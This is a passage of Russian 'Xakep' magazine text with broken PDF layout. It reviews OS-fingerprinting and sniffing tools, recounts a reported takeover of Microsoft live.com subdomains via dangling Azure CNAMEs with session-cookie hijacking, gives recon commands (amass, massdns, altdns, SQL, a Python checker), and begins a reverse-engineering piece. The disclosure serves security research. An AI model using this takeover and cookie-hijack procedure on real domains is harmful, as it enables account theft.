Fragment), это намека ет, что мы име ем дело с OpenBSD. Дру гими кос венны‐ 
ми  приз наками  слу жат  раз мер  окна  (window  size),  зна чение  мак сималь ного
раз мера  сег мента  (maximum  segment  size,  MSS),  window  scaling  value,  сос‐ 
тояние  фла га  sackOK.  Методом  исклю чения  мы  можем  вычис лить  ОС,
которая  кру тит ся на инте ресу ющем нас  хос те. А облегчат  это дело  ути литы,
о которых и пой дет речь.

NMAP
 • Сайт: nmap.org

 GNU/Linux, macOS, Windows (x86)• Плат форма:

Это очень популяр ный кросс‐плат формен ный инс тру мент с богатой исто рией
и  широким  арсе налом  фун кци ональ ных  воз можнос тей.  Он  уме ет  мно гое
и помимо фин гер прин тинга, но нас инте ресу ют в пер вую оче редь его  «раз‐ 
ведыва тель ные воз можнос ти».

Ак туаль ная  вер сия  Nmap  7.80  обла дает  инту итив но  понят ным  гра фичес‐ 
ким интерфей сом, но для олдфа гов пре дус мотрен режим работы из  коман‐ 
дной  стро ки.  В  этом  слу чае  мож но  исполь зовать  коман ду 

  где  URL  —  адрес  иссле дуемо го  сай та.  Сов сем 
  упер тые  могут  ском пилиро вать  тул зу  из  исходни ков,  любез но  опуб‐ 

ликован ных  .

,nmap ‐O ‐PN [URL] упо‐ 
ротые

на сай те раз работ чиков

От чет о ска ниро вании сай та ути литой Nmap

Ди агноз  об  уста нов ленной  на  хос те  опе раци онной  сис теме  ути лита  выда ет
весь ма  приб лизитель ный,  но  веро ятность  того  или  ино го  вари анта  может
дос тигать 90% и даже боль ше. В прин ципе, это го впол не дос таточ но, что бы
понять, в каком нап равле нии копать даль ше.

Кро ме это го, прог рамма любез но показы вает све дения о вер сии работа‐ 
юще го там сер вера, об откры тых пор тах, информа цию, получен ную в резуль‐ 
тате обра бот ки DNS‐зап росов,  IP‐  и  IPv6‐адре са,  дан ные Classless  inter‐do‐
main  routing  (CIDR). Соф тина может выпол нить обратный прос мотр DNS  (re‐
verse DNS  lookup),  а  так же  выводит боль шой объ ем дру гой полез ной инфы.
В Nmap пре дус мотре но нес коль ко сце нари ев ска ниро вания,  выбор которых
зависит от целей иссле дова теля.

Прин ципы работы прог раммы под робно опи саны в докумен тации на офи‐ 
циаль ном  сай те,  а  если  базовых  воз можнос тей  Nmap  тебе  недос таточ но,
мож но озна комить ся  .  Ути лита и впрямь очень
мощ ная:  она  поз воля ет  даже 

.  Одним  сло вом,  полез ный  инс тру мент,  если  зна ешь,  как  с  ним
обра щать ся.

со стать ей об их рас ширении
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NETWORKMINER
 • Сайт: https://www.netresec.com/index.ashx?page=Networkminer

 GNU/Linux, Windows• Плат форма:

NetworkMiner — это ана лиза тор тра фика, который сами раз работ чики отно сят
к катего рии Network Forensic Analysis Tool (NFAT). Тул за исполь зует пас сивный
метод  ана лиза  уда лен ной  сис темы,  а  зна чит,  не  оставля ет  никаких  сле дов
и поз воля ет иссле дова телю дей ство вать незамет но.

Ин терфейс NetworkMiner дос таточ но прост и понятен

Ути литу  мож но  ска чать  с  сай та  ,
а на   дос тупен исходный код.

http://sourceforge.net/projects/networkminer
стра нич ке раз работ чиков

NetworkMiner  поз воля ет  отсле живать  уста нов ленные  соеди нения  и  ана‐ 
лизи ровать  переда ваемые  по  сети  пакеты,  выужи вая  из  них  полез ные  све‐ 
дения  о  хос тах,  с  которы ми  твой  компь ютер  обме нива ется  информа цией.
В  качес тве  исходных  дан ных  для  ана лиза  исполь зует ся  TTL  (вре мя  жиз ни
пакета), раз мер фрей мов, уста нов ленные в заголов ках пакетов фла ги.

С  помощью  NetworkMiner  мож но  иссле довать  и  отдель ные  фрей мы.
Для это го слу жит  вклад ка Frames — здесь пред став лены дан ные о раз мере
фрей ма,  IP‐адре сах  и  пор тах  отпра вите ля  и  получа теля,  а  так же  про чие
полез ные све дения. Кро ме это го, есть воз можность ана лизи ровать бан неры
демонов.  Вся  эта  информа ция  поз воля ет  вос создать  струк туру  сети,  где
выпол няет ся  перех ват  пакетов:  осо бен но  это  полез но  для  бес про вод ных
сетей, внут ренняя кух ня которых тебе нез накома.

Есть  у  этой  тул зы  еще  одна  шикар ная  фун кция:  она  уме ет  вытас кивать
фай лы из  тра фика,  тран сли руемо го  по  про токо лам FTP,  TFTP, HTTP, HTTP/2,
SMB, SMB2, SMTP, POP3 и IMAP. То есть с ее помощью мож но перех ватывать
фай ло, переда ваемое по элек тро поч те, FTP, по локал ке или поп росту в бра‐ 
узе ре поль зовате ля. Из шиф рован ного  тра фика NetworkMiner может  выдер‐ 
гивать сер тифика ты X.509. Кра сота, да и толь ко!

В общем, перед нами впол не себе мощ ный сниф фер, спо соб ный тво рить
вол шебс тво в уме лых руках. Ну а фин гер прин тинг и опре деле ние ОС — лишь
одна из его широчай ших воз можнос тей.

P0F V3
 • Сайт: https://lcamtuf.coredump.cx/p0f3/

 GNU/Linux, Windows, macOS• Плат форма:

Это  не  прос то  доволь но  извес тный  сниф фер,  а  прог рамма,  объ еди няющая
целый  ком плекс механиз мов для ана лиза перех вачен ных пакетов и фин гер‐ 
прин тинга. При  этом опре деле ние  типа ОС на  уда лен ном  узле  (даже  в  слу‐ 
чаях,  ког да  Nmap  с  этой  задачей  не  спра вил ся,  нап ример  из‐за  исполь‐ 
зования  в  сети  бран дма уэра)  заяв ляет ся  раз работ чиками  в  качес тве  одной
из основных фун кций.

Име ется нес коль ко режимов работы прог раммы, которые мож но исполь‐ 
зовать  в  зависи мос ти  от  кон фигура ции  сети  и  сто ящей  перед  иссле дова‐ 
телем задачи:

ре жим SYN, под разуме вающий иссле дова ние вхо дящих соеди нений;•
ре жим SYN+ACK — иссле дова ние исхо дящих под клю чений;•
ре жим RST+ под разуме вает иссле дова ние тра фика для узла, находя щего‐ 
ся за фай рво лом, который откло няет под клю чения;

•

ре жим MiTM — иссле дова ние соеди нения меж ду узла ми, тра фик которых
ты можешь сниф фить без вме шатель ства с тво ей сто роны.

•

Кро ме того, p0f уме ет опре делять, работа ет ли в сети NAT, шей перы или фай‐ 
рво лы,  отсле живать  трас сиров ку  пакета  до  задан ного  узла  и  вычис лять  его
аптайм. При этом тул за не генери рует никаких собс твен ных зап росов и про‐ 
чего подоз ритель ного тра фика, что само по себе неос поримое пре иму щес‐ 
тво, если иссле дова тель жела ет оста вать ся в сети незаме чен ным.

Вер сия  p0f  v3  была  перепи сана  раз работ чиками  с  нуля,  поэто му  «база
отпе чат ков»  там  не  самая  пол ная.  Если  верить  офи циаль ному  сай ту,  прог‐ 
рамме не хва тает дан ных о ста рых вер сиях опе раци онных сис тем вро де Win‐
dows 9x, IRIS и им подоб ных. Но поль зовате ли могут помочь про екту, добавив
в базы резуль таты собс твен ных экспе римен тов с прог раммой.

NETSCANTOOLS
 • Сайт: netscantools.com

 Windows• Плат форма:

Бес плат ная ути лита NetScanTools Basic появи лась еще в 2009 году и с тех пор
пре тер пела  лишь  нез начитель ные  изме нения.  Уме ет  она  нем ного:  с  ее
помощью мож но получить дан ные Whois (а без нее, навер ное, никак), выпол‐ 
нить  traceroute  (для  тех,  кто  не  уме ет  поль зовать ся  коман дной  стро кой),
отпра вить DNS‐зап росы и попин говать уда лен ные хос ты и так, и сяк, и впри‐ 
сяд ку, то есть управляя парамет рами пин га. Негус то.

А вот ком мерчес кая вер сия Pro может пох вастать ся более широки ми воз‐ 
можнос тями. Она  уме ет  работать  с  раз личны ми  про токо лами,  вклю чая  ARP
и  SNMP,  перех ватывать  и  ана лизи ровать  пакеты,  получать  DNS‐записи
для  задан ных  IP‐адре сов,  искать откры тые TCP‐ и UDP‐пор ты  на  уда лен ном
хос те,  опре делять  под держи ваемые  им  вер сии  SMB,  искать  устрой ства
в сети, в том чис ле SMTP‐сер веры с откры тыми реле ями. В сети Active Direc‐
tory NetScanTools может най ти все рас шарен ные пап ки, даже скры тые. В сос‐ 
таве  соф тины  есть  генера тор  пакетов  TCP,  UDP,  ICMP, CDP,  RAW,  в  котором
мож но  менять  раз личные  парамет ры,  бла года ря  чему  NetScanTools  лег ко
и неп ринуж денно прев раща ется во флу дер.

NetScanTools — инте рес ный инс тру мент с кучей фун кций. Жал ко, плат ный

В целом мож но  ска зать,  что NetScanTools Pro  доволь но инте рес ный про ект,
вклю чающий инс тру мен тарий для активно го и пас сивно го иссле дова ния сети.
Толь ко вот прайс в 249 дол ларов нем ного  кусач, осо бен но если  учесть,  что
впол не себе бес плат ные NetworkMiner и Nmap обла дают прак тичес ки тем же
набором  базовых  фун кций.  Впро чем,  с  сай та  раз работ чиков  мож но  ска‐ 
чать 30‐днев ную три аль ную вер сию, которая поможет тебе решить, сто ит ли
искать   пач ку бак сов, или луч ше вос поль зовать ся фри вар ным соф том.кряк

X PROBE
 • Сайт: https://sourceforge.net/projects/xprobe/

 GNU/Linux• Плат форма:

Это  линук совая  ути лита,  исполь зующая  активные  методы  фин гер прин тинга
на  осно ве  тех  же  методик  и  сце нари ев,  что  при меня ются  в  Nmap.  Одна
из  наибо лее  инте рес ных  осо бен ностей  X  probe  —  уме ние  обна ружи вать
ханипо ты  (сер веры‐при ман ки, спе циаль но соз данные для лов ли довер чивых
хакеров) и подоз ритель ные узлы с изме нен ными нас трой ками сте ка TCP/IP.

С  исполь зовани ем  заложен ных  в  соф тину  алго рит мов  нечет кой  логики  X
probe  поз воля ет  обна ружи вать  сер висы,  скры тые  бран дма уэром.  Помимо
опре деле ния  ОС  на  уда лен ном  хос те  с  исполь зовани ем  ICMP‐зап росов,
в  воз можнос ти  прог раммы  вхо дит  ска ниро вание  TCP‐  и  UDP‐пор тов.
К  сожале нию,  пос ледняя  вер сия  ути литы датиро вана 2014  годом и,  похоже,
с тех пор про ект прак тичес ки не раз вива ется.

ETTERCAP
 • Сайт: https://www.ettercap‐project.org/

 GNU/Linux• Плат форма:

Ettercap  —  это  широко  извес тный  в  узких  кру гах  сниф фер,  час то  исполь‐ 
зуемый для атак типа MiTM. Работа ет он прак тичес ки во всех линук сах, кро ме
OpenSuSe, а  так же на плат формах UNIX/BSD,  кро ме Solaris.  Говорят, осо бо
могучие шаманы запус кали Ettercap даже на macOS, но докумен таль ного под‐ 
твержде ния  этим  слу хам  нет,  ибо  те,  кому  это  уда лось,  погиб ли,  лоп нув
от гор дости.

Как  и  дру гие  сниф феры,  этот  уме ет  работать  с  про токо лами  Telnet,  FTP,
IMAP,  SMB,  LDAP  и  нес коль кими  дру гими,  но  с  Ettercap  мож но  пот рошить
и шиф рован ный тра фик, переда ваемый по HTTPS и SSH. Нес мотря на то что
тул за соз давалась с при целом под MiTM, с ее помощью впол не мож но иден‐ 
тифици ровать уда лен ные опе раци онные сис темы методом фин гер прин тинга,
наряду с такими рутин ными про цеду рами, как опре деле ние IP, откры тых пор‐ 
тов,  запущен ных  на  иссле дуемом  узле  служб,  типа  адап тера  и MAC‐адре са
сетево го интерфей са.

Пос ле  уста нов ки  и  запус ка  Ettercap  начина ет  сниф фить  тра фик  в  сети
и собирать резуль тат в соз дава емых прог раммой про фай лах, отку да его мож‐ 
но извлечь для ана лиза. Этот ана лиз поз воля ет уста новить, в час тнос ти, такие
дан ные,  как  IP‐адрес,  имя  и  тип  хос та,  пред положи тель ная  вер сия  работа‐ 
ющей там ОС, откры тые пор ты и запущен ные сер висы. Впол не дос таточ ный
стар товый набор для любого иссле дова теля.

THC-ARCHIVE
На  гит хабе  по  адре су    лежит
богатый архив ути лит и спло итов, которые могут стать отличным под спорь ем
для пен тесте ра. Весь софт дол го и кро пот ливо собира ла коман да 

  еди номыш ленни ков  под  наз вани ем  ,  осно ван‐ 
ная аж в 1995 году и, судя по активнос ти в Twitter, неп лохо чувс тву ющая себя
по сей день.

https://github.com/vanhauser‐thc/THC‐Archive/

зло умыш‐ 
ленни ков The Hacker’s Choice

Чу ваки  пред лага ют  мно жес тво  инте рес ных  про ектов,  но  нас  инте ресу ют
в  основном  тул зы  из  раз дела 

.  Тут,  в  час тнос ти,  мож но  най ти  ска нер  Amap,  поз‐ 
воля ющий отсле дить сер висы, работа ющие на нес тандар тных пор тах.

https://github.com/vanhauser‐thc/THC‐
Archive/tree/master/Tools

Не кото рые наив ные сисад мины искрен не наде ются,  что смо гут  защитить
себя  от  ата ки,  если  под нимут,  нап ример,  FTP‐сер вер,  SSH  или  Telnet
на  каком‐нибудь  нес тандар тном  пор те  вмес то  при выч ного.  Вот  с  такими
хитр ыми адми нами и приз ван бороть ся Amap.ожо

Обыч ные ска неры сту чат ся на стан дар тные пор ты, ана лизи руют получен‐ 
ные откли ки и, если они не соот ветс тву ют ожи даемо му, обла мыва ются. Amap
вмес то это го опра шива ет весь диапа зон пор тов и све ряет откли ки со сво ей
базой дан ных в поис ках соот ветс твия. Таким обра зом, сер вис, работа ющий
на  каком‐либо  пор те,  иден тифици рует ся  по  его  харак терным  приз накам,
содер жащим ся в отве те.

Что бы  облегчить  себе  жизнь,  мож но  исполь зовать  Amap  сов мес тно
с  любым  дру гим  ска нером.  Ска нер  опре деля ет  спи сок  откры тых  пор тов
на  инте ресу ющем  нас  хос те,  а  Amap  потом  про щупы вает  этот  диапа зон
и выяс няет, какие имен но служ бы юза ют эти пор ты и что полез ного из это го
может извлечь иссле дова тель. На стра нич ке The Hacker’s Choice мож но ска‐ 
чать Amap как под вин ду, так и под Linux, пред став лены все вер сии ути литы,
начиная с самых ран них.

ВЫВОДЫ
Статьи  в  «Хакере»  при нято  завер шать  крат ким  зак лючитель ным  раз делом,
поэто му  не  будем    нарушать  доб рую  тра дицию.  Как  ты
догады ваешь ся, у боль шинс тва опи сан ных здесь ути лит воз можнос ти гораз‐ 
до  шире,  чем  прос то  опре деле ние  типа  ОС  на  уда лен ном  хос те.  Поэто му
небес полез но будет поп робовать озна комить ся с каж дой из них. А уж что ты
будешь в ито ге исполь зовать в деле — решать тебе.

злить  редак тора



ПОДДОМЕНОВ
ЗАХВАТ

КАК Я ЗАХВАТИЛ
ПОДДОМЕНЫ MICROSOFT

И КАК РАБОТАЮТ ТАКИЕ АТАКИ

Александр Сидуков
asidukov@gmail.com

ВЗЛОМ

Нес коль ко  лет  назад  мне  уда лось  зах ватить  под домены
на  сай тах  ком пании  Microsoft  и  получить  дос туп  к  поч те
и фай лам поль зовате лей Outlook и OneDrive, а так же к дан‐ 
ным про филей на Xbox.com. Я рас ска жу о том, что кон крет но
для  это го  пот ребова лось,  а  заод но  пос мотрим,  как  такая
ата ка может выг лядеть сей час, в 2020 году.

ЗАХВАТ ЧЕРЕЗ ЗАБЫТЫЙ CNAME
Сов ремен ные ком пании исполь зуют боль шое количес тво облачных сер висов.
Для  прос тоты  под клю чения  исполь зуют ся  под домены  основно го  домена
орга низа ции,  а  кон тент  обслу жива ется  облачным  сер висом  нап рямую.
В таком слу чае адми нис тра торам ком пании дос таточ но добавить DNS‐запись
вида  CNAME  (canonical  name  или,  про ще  говоря,  али ас)  со  ссыл кой
на облачный сер вис.

Нап ример,  нас трой ка  GitHub  Pages  для  домена  wiki.company.com  может
выг лядеть сле дующим обра зом:

 

 

 
wiki.company.com            1728    IN  CNAME company‐wiki.github.io. 
company‐wiki.github.io.     3529  IN  A     185.199.110.153

$ dig wiki.company.com +nostats +nocomments +nocmd

Но  что  будет,  если  репози торий  уда лят  вмес те  с  нас трой кой  при вяз ки
к домену wiki.company.com? Впол не веро ятно, что DNS‐запись при этом оста‐ 
нет ся, — добав ляет эти записи обыч но админ, а сле дить, что бы их опе ратив‐ 
но уда ляли, чаще все го некому. Тут игра ет челове чес кий фак тор.

В  таком  слу чае  зло умыш ленник может  соз дать  репози торий  и  при вязать
его  к  wiki.company.com.  Пос коль ку  CNAME  wiki.company.com  уже  ука зыва ет
на  company‐wiki.github.io,  с  это го  момен та  содер жимое  wiki.company.com
будет кон тро лиро вать зло умыш ленник.

Уг нанный под домен ком пании может исполь зовать ся для похище ния сес‐ 
сион ных кук, фишин говых атак, обхо да CORS и CSP.

ЗАХВАТ ДОМЕНОВ НА ВНЕШНИХ ССЫЛКАХ
Воз можен  так же  вари ант  зах вата  доменов,  которые  не  при над лежат  орга‐ 
низа ции, но ссыл ки на которые исполь зуют ся для заг рузки внеш них скрип тов.
Пред ста вим, что стра ница при ложе ния выг лядит так:

<!doctype html>
<html lang="en">
<head>
 <meta charset="utf‐8">
 <title>app.company.com Application</title>
 <link rel="stylesheet" href="css/application.css">

</head>
<body>
 <script src="https://subdomain.3rdparty.com/script.js"></script>
 ...
</body>
</html>

Ес ли  будет  воз можен  зах ват  под домена  subdomain.3rdparty.com  по  схе ме
CNAME,  зло умыш ленник  смо жет  кон тро лиро вать  содер жимое  и  выпол нить
про изволь ный код в кон тек сте app.company.com. А если домен 3rdparty.com
истек и уда лен — зло умыш ленник может вновь зарегис три ровать его и кон‐ 
тро лиро вать все его под домены.

УГОНЯЕМ СЕССИИ OUTLOOK И ONEDRIVE
Нес коль ко лет назад мне уда лось зах ватить мно жес тво под доменов Microsoft,
в  том  чис ле  для  Live.com.  Это  дало  воз можность  бес пре пятс твен но  перех‐ 
ватывать  сес сии  поль зовате лей  Outlook  и  OneDrive.  Как  это  было?  Сей час
рас ска жу.

При регис тра ции любого сер виса Azure (нап ример, вир туаль ного сер вера
или вир туаль ного хос тинга) ука зыва ется имя, по которо му мож но потом мож‐ 
но  обра щать ся  нап рямую  либо  через  CNAME.  Нап ример,  веб‐при ложе ние
будет дос тупно по адре су XYZ.azurewebsites.net, где XYZ — имя при ложе ния.

Для раз личных сер висов Azure исполь зует набор раз ных доменов, они так‐ 
же могут нем ного отли чать ся и иметь пре фикс реги она раз мещения ресур са:

*.cloudapp.net
*.cloudapp.azure.com
*.azurewebsites.net
*.blob.core.windows.net
*.cloudapp.azure.com
*.azure‐api.net
*.azurehdinsight.net
*.azureedge.net
*.azurecontainer.io
*.database.windows.net
*.azuredatalakestore.net
*.search.windows.net
*.azurecr.io
*.redis.cache.windows.net
*.azurehdinsight.net
*.servicebus.windows.net
*.visualstudio.com

В Microsoft этот механизм при меня ют и для сво их при ложе ний, в тех же прос‐ 
транс твах  имен,  что  и  осталь ные  поль зовате ли. При  ана лизе  лег ко  уви деть,
что  мно жес тво  под доменов Microsoft.com  исполь зуют  сер висы  Azure  и  ука‐ 
зыва ют на набор доменов, при веден ный выше.

Что  про исхо дит  пос ле  того,  как  сер вис  перес тает  исполь зовать ся  Mi‐
crosoft  и  уда ляет ся?  Мы  можем  зарегис три ровать  сер вис  Azure  на  нашей
учет ной записи, но с тем же име нем. Таким обра зом, сущес тву ющая запись
CNAME будет ука зывать уже на соз данный нами сер вис, который мы можем
пол ностью кон тро лиро вать.

Как это было на прак тике? Соб рав спис ки под доменов в логах 
, а так же с помощью атак по сло варям я нашел те из них, что ссы‐ 

лались на облачные сер висы Azure. Мое вни мание прив лек домен migreport‐
s.eduadmin.live.com.  Он  ука зывал  (CNAME)  на  домен  ncuprdmigreporting.‐
cloudapp.net, но далее домен не раз решал ся (NXDOMAIN):

Certificate
Transparency

 

 

 

 
;; Got answer: 
;; ‐>>HEADER<<‐ opcode: QUERY, status: NXDOMAIN, id: 16373

$ dig migreports.eduadmin.live.com

;; ANSWER SECTION: 
migreports.eduadmin.live.com 3599 IN CNAME 
ncuprdmigreporting.cloudapp.net.

Я  соз дал  вир туаль ную  машину  c  Ubuntu  в  Azure  и  зарегис три ровал  сер вис
с иден тичным име нем ncuprdmigreporting.cloudapp.net,  без  каких‐либо оши‐ 
бок и под водных кам ней.

Ре гис тра ция сер виса с име нем ncuprdmigreporting

DNS‐имя теперь за мной

За пус тив вир туаль ную машину и на ней nginx, я открыл в бра узе ре адрес mi‐
greports.eduadmin.live.com и уви дел завет ное «Welcome to nginx!». Домен был
под моим кон тро лем.

Сер висы  Outlook  и  OneDrive  раз меща ются  на  адре сах  outlook.live.com
и  onedrive.live.com  соот ветс твен но.  Быс трый  ана лиз  показал,  что  для  обо их
сер висов сес сион ные куки уста нав лива ются на весь домен live.com, а зна чит,
я могу перех ватывать сес сии поль зовате лей.

Ана лиз сес сион ных кук live.com

Но  сес сион ные  куки  были  защище ны  фла гом  Secure,  и  переда вать ся  они
будут  толь ко  по  HTTPS  —  для  дос тупа  к  ним  мне  нужен  SSL‐сер тификат.
Спер ва это казалось проб лемой, но, пораз мыслив пару минут, я бес пре пятс‐ 
твен но его получил с помощью Let’s Encrypt, с  той же вир туаль ной машины.
Бин го!

Мне  повез ло:  я  успешно  получил  сер тификат.  Часть  доменов  Microsoft
находит ся в чер ном спис ке Let’s Encrypt и для них зап росы на получе ние сер‐ 
тифика та бло киру ются, но live.com к таким доменам не отно сил ся.

Let’s Encrypt бло киру ет выдачу сер тифика тов для *.outlook.com

Те перь я мог  кон тро лиро вать содер жимое сай та по HTTPS и перех ватывать
сес сион ные  куки. Я  под готовил прос тую стра ницу  с PoC и  поп робовал  вос‐ 
про извести  ата ку  на  угон  сес сии.  Прос той  под став ки  сес сион ных  кук  ока‐ 
залось  дос таточ но  для  того,  что бы  попасть  в  сес сию  поль зовате ля  незави‐ 
симо от бра узе ра или IP‐адре са. Более того, сме на пароля или завер шение
сес сии  поль зовате лем  никак  не  вли яли  на  фун кци ональ ность  укра ден ной
сес сии — ей по‐преж нему мож но было поль зовать ся!

Мне так же уда лось про делать такой трюк с xbox.com — и получить дос туп
к дан ным про филя поль зовате ля. К тому же в логах веб‐сер вера я наб людал
боль шое  количес тво  кон солей  Xbox,  обра щав шихся  к  моему  сер веру,  —
не исклю чено, что в пло хих руках они бы мог ли прев ратить ся в бот нет.

Ре шить  проб лему  в Microsoft  мог ли  бы,  нап ример,  зап ретив  ука зывать  про‐ 
изволь ное  наз вание  в  сер висе  Azure.  Вмес то  это го  сер вис  мог  бы  генери‐ 
ровать такое имя пол ностью либо его пос тфикс. Я сооб щил о проб леме в Mi‐
crosoft по прог рамме   и получил воз награж дение.Bug Bounty

Тай млайн
14.07.2017: я сооб щил в Microsoft об уяз вимос ти•
20.07.2017: под твержде ние от Microsoft•
14.12.2017: проб лему пофик сили•
28.10.2018: вып лата Bounty•

ЧТО ТЕПЕРЬ? ЗАХВАТ ПОДДОМЕНОВ В 2020 ГОДУ
Пос ле  этой  исто рии  прош ло  боль ше  двух  лет.  Пред лагаю  рас смот реть,
как может выг лядеть поиск и зах ват под доменов в 2020 году.

Ис кать  домены мож но  активно  либо  скрыт но.  Во  вто ром  слу чае  исполь‐ 
зуют ся дан ные из пуб личных сер висов. Сре ди них:

дор ки поис ковиков (под робнее — в статье « »);• Google как средс тво взло ма
ин форма ция  об  исполь зуемых  сер тифика тах  SSL  (SSL  certificate  trans‐
parency logs);

•

ска неры интерне та типа Shodan и Censys;•
сер висы с архивны ми дан ными DNS типа  ,  ;• DNSdumpster SecurityTrails
дру гие откры тые дан ные, такие как DNS‐архи вы Rapid7.•

В активном режиме в нашем арсе нале:
ата ки на под бор, которые могут быть весь ма эффектив ными при исполь‐ 
зовании хороших сло варей;

•

ата ки AXFR,  которые  все еще  зачас тую  воз можны бла года ря  небезо пас‐ 
ным кон фигура циям DNS‐сер веров.

•

Ти хая раз ведка
Нач нем со скры того поис ка. К нашим услу гам мно го источни ков: поис ковые
сис темы, API ска неров интерне та и про чие сер висы. К счастью, руч ным сбо‐ 
ром  инфы  занимать ся  вряд  ли  пот ребу ется,  рав но  как  и  изоб ретать  свои
средс тва авто мати зации.

Amass
 — про ект кон сорци ума OWASP, неп лохо выруча ет при сбо ре информа‐ 

ции  о  под доменах.  Что бы  вос поль зовать ся  этой  ути литой,  дос таточ но
написать что‐то в таком духе:

Amass

amass enum ‐passive ‐d company.com

Rapid7 DNS
Пред лагаю  допол нить  наши  резуль таты  дан ными  из 

. Это архи вы DNS‐записей интерне та.
Rapid7  Forward  DNS

(FDNS)
Та кие записи мож но ска чать и отфиль тро вать вруч ную, одна ко,  учи тывая,

что раз мер архи ва боль ше 300 Гбайт, для эко номии вре мени и мес та мож но
при менить облачный сер вис Athena,  при над лежащий Amazon. Он поз воля ет
делать SQL‐зап росы к дан ным в хра нили ще Rapid7, уже раз мещен ном на S3.

Соз дадим новый Сrawler  в  сер висе AWS Glue. В  качес тве источни ка  ука‐ 
жем S3‐хра нили ще Rapid7.

s3://rapid7‐opendata/fdns/any/v1/date=202002

Ос таль ные нас трой ки мож но оста вить по умол чанию.

Пос ле  сох ранения  нас тро ек  запус тим  кра улер  вруч ную.  Теперь  мы  можем
выпол нять поиск по дан ным через SQL‐зап росы.

SELECT *
FROM date_202002
WHERE name LIKE '%.company.com'

Мо жем искать толь ко инте ресу ющие нас CNAME.

SELECT *
FROM date_202002
WHERE type = 'cname'
AND value LIKE '%.github.io';

Мож но исполь зовать и архивные дан ные за нес коль ко месяцев, прос то под‐ 
клю чив более ста рые базы. Это осо бен но при годит ся,  ведь нас инте ресу ют
домены, которы ми перес тали поль зовать ся.

Пе ребор
Для атак методом перебо ра хорошо работа ют сло вари  , 

,   за авторс твом jhaddix.
commonspeak2 sub‐

lazerwlst all.txt
В  качес тве  быс тро го  ска нера  мож но  исполь зовать  massdns.  Будь  акку‐ 

ратен с интер пре таци ей резуль татов, осо бен но если ищешь забытые CNAME.
В  качес тве  резол веров  для  massdns  исполь зуй  надеж ные  пуб личные  DNS,
которые не модифи циру ют зап росы, нап ример Google и CloudFlare.

# Генерируем словарь для подбора на базе commonspeak2:
cat commonspeak2.txt | awk '{print $1".company.com"}' > subdomains.
txt

# Сканируем с massdns
massdns ‐s 15000 ‐o J ‐r resolvers.txt company_commonspeak2.txt > 
subdomains_massdns.txt

AltDNS
Как еще мож но допол нить спи сок имен? С помощью пер мутаций для най ден‐ 
ных  имен.  Вос поль зуем ся  .  На  вход  подадим  спи сок  доменов,
про которые мы уже зна ем:

AltDNS

# Генерируем пермутации
altdns ‐i subdomains_ok.txt ‐o subdomains_altdns.txt ‐w words.txt

# Сканируем с massdns
massdns ‐s 15000 ‐o J ‐r resolvers.txt subdomains_altdns.txt > subdom
ains_altdns_massdns.txt

Ищем забытые записи
Те перь,  ког да  у  нас  есть  спис ки  под доменов,  нам  нуж но  най ти  записи,
которые оста лись от уда лен ных сер висов. Некото рые сер висы в таких слу чаях
воз вра щают ошиб ку 404 при обра щении. Нап ример, так дела ет GitHub Pages.

Дру гие име ют тип CNAME, но не име ют ито гово го адре са (NXDOMAIN). Най ти
такие мож но, раз бирая логи amass либо вот такой фун кци ей на Python.

import dns.resolver

def lookup(domain):
 result = []
 try:
   myresolver = dns.resolver.Resolver()
   myresolver.nameservers = ['8.8.8.8','8.8.4.4']

   # Рекурсивно получаем CNAME
 for rdata in myresolver.query(domain, 'CNAME'):
     if hasattr(rdata, 'target'):
       result.append("[CNAME]"+str(rdata.target))
       result += lookup(str(rdata.target))

 except dns.resolver.NoAnswer:
 # Получаем A‐запись для последнего CNAME
   try:
     for rdata in myresolver.query(domain, 'A'):
       result.append("[A]"+rdata.address)
   except dns.resolver.NoAnswer:
     result.append("NoAnswer")
     return result

 except dns.resolver.NXDOMAIN:
   result.append("NXDOMAIN")
   return result

 except:
   pass

 return result

Из вес тно более 30 уяз вимых сер висов, которые могут быть зах вачены через
забытый  CNAME.  Их  крат кое  опи сание  есть  в  докумен те  «

».
Can  I  take  over

XYZ?

ВЫВОДЫ
Прак тика  показы вает,  что  ком пании  недо оце нива ют  опас ность  этой  ата ки.
Перед  ней  могут  быть  уяз вимы  любые  кли енты  облачных  сер висов,  будь  то
малень кий  стар тап,  извес тный банк  или  круп ная  тех нологи чес кая  ком пания.
В  ходе  под готов ки  статьи  ста ло  понят но,  что  проб лема  все  еще  оста ется
акту аль ной для Azure.   это под твержда ют.Не дав ние новос ти
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ВЗЛОМ

Ес ли  пер вого  встреч ного  прог раммис та  спро сить,  с  какой
фун кции начина ется выпол нение Windows‐прог раммы, веро‐ 
ятнее  все го,  мы  услы шим  в  ответ  —  «с  ».  И  это
будет ошиб кой. На самом деле пер вым управле ние получа ет
стар товый  код,  скры то  встав ляемый  ком пилято ром.  Выпол‐ 
нив  необ ходимые  ини циали заци онные  про цеду ры,
в какой‐то момент он вызыва ет  , а пос ле ее завер‐ 
шения вновь получа ет управле ние и выпол няет капиталь ную
деини циали зацию.

WinMain

WinMain

Фун дамен таль ные осно вы хакерс тва
Пят надцать  лет  назад  эпи чес кий  труд  Кри са  Кас пер ски  «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова‐ 
теля  в  области  компь ютер ной  безопас ности. Одна ко  вре мя  идет,  и  зна ния,
опуб ликован ные  Кри сом,  теря ют  акту аль ность.  Редак торы  «Хакера»  попыта‐ 
лись  обно вить  этот  объ емный  труд  и  перенес ти  его  из  вре мен  Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2017.

Чи тай так же:

• Про вер ка аутен тичнос ти и базовый взлом защиты
• Зна комс тво с отладчи ком
• Про дол жаем осва ивать отладчик
• Но вые спо собы находить защит ные механиз мы в чужих прог раммах
• Вы бира ем луч ший редак тор для вскры тия исполня емых фай лов Windows
• Мас тер‐класс по ана лизу исполня емых фай лов в IDA Pro
• Учим ся искать клю чевые струк туры язы ков высоко го уров ня

ИДЕНТИФИКАЦИЯ СТАРТОВЫХ ФУНКЦИЙ
В  подав ляющем  боль шинс тве  слу чаев  стар товый  код  не  пред став ляет
никако го инте реса, и пер вой задачей при ана лизе ста новит ся поиск фун кции

. Если ком пилятор вхо дит в чис ло «зна комых» IDA, она опоз нает 
  авто мати чес ки,  в  про тив ном  же  слу чае  искать  фун кцию  при ходит ся

руками и головой.

WinMain Win‐
Main

Обыч но  в штат ную  пос тавку  ком пилято ра  вклю чают  исходные  тек сты  его
биб лиотек, в том чис ле и про цеду ры стар тового кода. Нап ример, у Microsoft
Visual C++ стар товый код рас положен в фай ле 

